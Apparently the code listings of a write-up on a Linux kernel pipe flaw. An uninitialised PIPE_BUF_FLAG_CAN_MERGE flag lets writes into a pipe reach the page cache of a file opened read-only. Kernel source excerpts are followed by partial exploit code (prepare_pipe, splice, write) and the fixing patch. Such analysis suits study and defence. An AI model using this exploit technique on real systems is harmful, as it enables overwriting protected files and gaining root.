1
/**
2
 *  struct pipe_buffer - a linux kernel pipe buffer
3
 *  @page: the page containing the data for the pipe buffer
4
 *  @offset: offset of data inside the @page
5
 *  @len: length of data inside the @page
6
 *  @ops: operations associated with this buffer. See @pipe_buf_operations.
7
 *  @flags: pipe buffer flags. See above.
8
 *  @private: private data owned by the ops.
9
 **/
10
struct pipe_buffer {
11
  struct page *page;
12
  unsigned int offset, len;
13
  const struct pipe_buf_operations *ops;
14
  unsigned int flags;
15
  unsigned long private;
16
};

1
/**
2
 *  struct pipe_inode_info - a linux kernel pipe
3
 *  @mutex: mutex protecting the whole thing
4
 *  @rd_wait: reader wait point in case of empty pipe
5
 *  @wr_wait: writer wait point in case of full pipe
6
 *  @head: The point of buffer production
7
 *  @tail: The point of buffer consumption
8
 *  @note_loss: The next read() should insert a data-lost message
9
 *  @max_usage: The maximum number of slots that may be used in the ring
10
 *  @ring_size: total number of buffers (should be a power of 2)
11
 *  @nr_accounted: The amount this pipe accounts for in user->pipe_bufs
12
 *  @tmp_page: cached released page
13
 *  @readers: number of current readers of this pipe
14
 *  @writers: number of current writers of this pipe
15
 *  @files: number of struct file referring this pipe (protected by ->i_lock)
16
 *  @r_counter: reader counter
17
 *  @w_counter: writer counter
18
 *  @poll_usage: is this pipe used for epoll, which has crazy wakeups?
19
 *  @fasync_readers: reader side fasync
20
 *  @fasync_writers: writer side fasync
21
 *  @bufs: the circular array of pipe buffers
22
 *  @user: the user who created this pipe
23
 *  @watch_queue: If this pipe is a watch_queue, this is the stuff for that
24
 **/
25
struct pipe_inode_info {
26
  struct mutex mutex;
27
  wait_queue_head_t rd_wait, wr_wait;
28
  unsigned int head;
29
  unsigned int tail;
30
  unsigned int max_usage;
31
  unsigned int ring_size;
32
#ifdef CONFIG_WATCH_QUEUE
33
  bool note_loss;
34
#endif
35
  unsigned int nr_accounted;
36
  unsigned int readers;
37
  unsigned int writers;
38
  unsigned int files;
39
  unsigned int r_counter;
40
  unsigned int w_counter;
41
  unsigned int poll_usage;
42
  struct page *tmp_page;
43
  struct fasync_struct *fasync_readers;
44
  struct fasync_struct *fasync_writers;
45
  struct pipe_buffer *bufs;
46
  struct user_struct *user;
47
#ifdef CONFIG_WATCH_QUEUE
48
  struct watch_queue *watch_queue;
49
#endif
50
};

1
static struct inode * get_pipe_inode(void)
2
{
3
  struct inode *inode = new_inode_pseudo(pipe_mnt->mnt_sb);
4
  struct pipe_inode_info *pipe;
5

6
  ...
7

8
  pipe = alloc_pipe_info();
9

10
  ...
11

12
  inode->i_pipe = pipe;
13
  pipe->files = 2;
14
  pipe->readers = pipe->writers = 1;
15
  inode->i_fop = &pipefifo_fops;
16

17
  ...
18
}

1
const struct file_operations pipefifo_fops = {
2
  .open    = fifo_open,
3
  .llseek    = no_llseek,
4
  .read_iter  = pipe_read,
5
  .write_iter  = pipe_write,
6
  .poll    = pipe_poll,
7
  .unlocked_ioctl  = pipe_ioctl,
8
  .release  = pipe_release,
9
  .fasync    = pipe_fasync,
10
  .splice_write  = iter_file_splice_write,
11
};

1
for (;;) {
2
    if (!pipe->readers) {
3
      send_sig(SIGPIPE, current, 0);
4
      if (!ret)
5
        ret = -EPIPE;
6
      break;
7
    }
8

9
    head = pipe->head;
10
    if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
11
      unsigned int mask = pipe->ring_size - 1;
12
      struct pipe_buffer *buf = &pipe->bufs[head & mask];
13
      struct page *page = pipe->tmp_page;
14
      int copied;
15

16
      if (!page) {
17
        page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
18
        if (unlikely(!page)) {
19
          ret = ret ? : -ENOMEM;
20
          break;
21
        }
22
        pipe->tmp_page = page;
23
      }
24

25
      /* Allocate a slot in the ring in advance and attach an
26
       * empty buffer.  If we fault or otherwise fail to use
27
       * it, either the reader will consume it or it'll still
28
       * be there for the next write.
29
       */
30
      spin_lock_irq(&pipe->rd_wait.lock);
31

32
      head = pipe->head;
33
      if (pipe_full(head, pipe->tail, pipe->max_usage)) {
34
        spin_unlock_irq(&pipe->rd_wait.lock);
35
        continue;
36
      }
37

38
      pipe->head = head + 1;
39
      spin_unlock_irq(&pipe->rd_wait.lock);
40

41
      /* Insert it into the buffer array */
42
      buf = &pipe->bufs[head & mask];
43
      buf->page = page;
44
      buf->ops = &anon_pipe_buf_ops;
45
      buf->offset = 0;
46
      buf->len = 0;
47
      if (is_packetized(filp))
48
        buf->flags = PIPE_BUF_FLAG_PACKET;
49
      else
50
        buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
51
      pipe->tmp_page = NULL;
52

53
      copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);
54

55
      ...

1
    if (is_packetized(filp))
2
      buf->flags = PIPE_BUF_FLAG_PACKET;
3
    else
4
      buf->flags = PIPE_BUF_FLAG_CAN_MERGE;

1
static inline int is_packetized(struct file *file)
2
{
3
   return (file->f_flags & O_DIRECT) != 0;
4
}

1
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
2
       struct iov_iter *i)
3
{
4
  struct pipe_inode_info *pipe = i->pipe;
5
  struct pipe_buffer *buf;
6
  unsigned int p_tail = pipe->tail;
7
  unsigned int p_mask = pipe->ring_size - 1;
8
  unsigned int i_head = i->head;
9
  size_t off;
10

11
  if (unlikely(bytes > i->count))
12
    bytes = i->count;
13

14
  if (unlikely(!bytes))
15
    return 0;
16

17
  if (!sanity(i))
18
    return 0;
19

20
  off = i->iov_offset;
21
  buf = &pipe->bufs[i_head & p_mask];
22

23
  ...
24

25
  if (pipe_full(i_head, p_tail, pipe->max_usage))
26
    return 0;
27

28
  buf->ops = &page_cache_pipe_buf_ops;
29
  get_page(page);
30
  buf->page = page;
31
  buf->offset = offset;
32
  buf->len = bytes;
33

34
  pipe->head = i_head + 1;
35
  i->iov_offset = offset + bytes;
36
  i->head = i_head;
37
out:
38
  i->count -= bytes;
39
  return bytes;
40
}

1
static ssize_t
2
pipe_write(struct kiocb *iocb, struct iov_iter *from)
3
{
4
  ...
5

6
    if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
7
        offset + chars <= PAGE_SIZE) {
8
      ret = pipe_buf_confirm(pipe, buf);
9
      if (ret)
10
        goto out;
11

12
      ret = copy_page_from_iter(buf->page, offset, chars, from);
13
      if (unlikely(ret < chars)) {
14
        ret = -EFAULT;
15
        goto out;
16
      }
17

18
      buf->len += ret;
19
      if (!iov_iter_count(from))
20
        goto out;
21
    }
22
  }
23
  ...
24
}

1
/**
2
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
3
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
4
 */
5
static void prepare_pipe(int p[2])
6
{
7
  ...
8

9
  /* fill the pipe completely; each pipe_buffer will now have
10
     the PIPE_BUF_FLAG_CAN_MERGE flag */
11
  for (unsigned r = pipe_size; r > 0;) {
12
    unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
13
    write(p[1], buffer, n);
14
    r -= n;
15
  }
16

17
  /* drain the pipe, freeing all pipe_buffer instances (but
18
     leaving the flags initialized) */
19
  for (unsigned r = pipe_size; r > 0;) {
20
    unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
21
    read(p[0], buffer, n);
22
    r -= n;
23
  }
24

25
  /* the pipe is now empty, and if somebody adds a new
26
     pipe_buffer without initializing its "flags", the buffer
27
     will be mergeable */
28
}

1
int main() {
2
  ...
3

4
  const int fd = open(path, O_RDONLY); // yes, read-only! :-)
5

6
  ...
7

8
    /* create the pipe with all flags initialized with
9
     PIPE_BUF_FLAG_CAN_MERGE */
10
  int p[2];
11
  prepare_pipe(p);
12

13
  /* splice one byte from before the specified offset into the
14
     pipe; this will add a reference to the page cache, but
15
     since copy_page_to_iter_pipe() does not initialize the
16
     "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
17
  --offset;
18
  ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
19

20
  ...
21
}

1
/* the following write will not create a new pipe_buffer, but
2
     will instead write into the page cache, because of the
3
     PIPE_BUF_FLAG_CAN_MERGE flag */
4
  nbytes = write(p[1], data, data_size);

1
--- a/lib/iov_iter.c
2
+++ b/lib/iov_iter.c
3
@@ -414,6 +414,7 @@ static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t by
4
     return 0;
5

6
   buf->ops = &page_cache_pipe_buf_ops;
7
+  buf->flags = 0;
8
   get_page(page);
9
   buf->page = page;
10
   buf->offset = offset;
11
@@ -577,6 +578,7 @@ static size_t push_pipe(struct iov_iter *i, size_t size,
12
       break;
13

14
     buf->ops = &default_pipe_buf_ops;
15
+    buf->flags = 0;
16
     buf->page = page;
17
     buf->offset = 0;
18
     buf->len = min_t(ssize_t, left, PAGE_SIZE);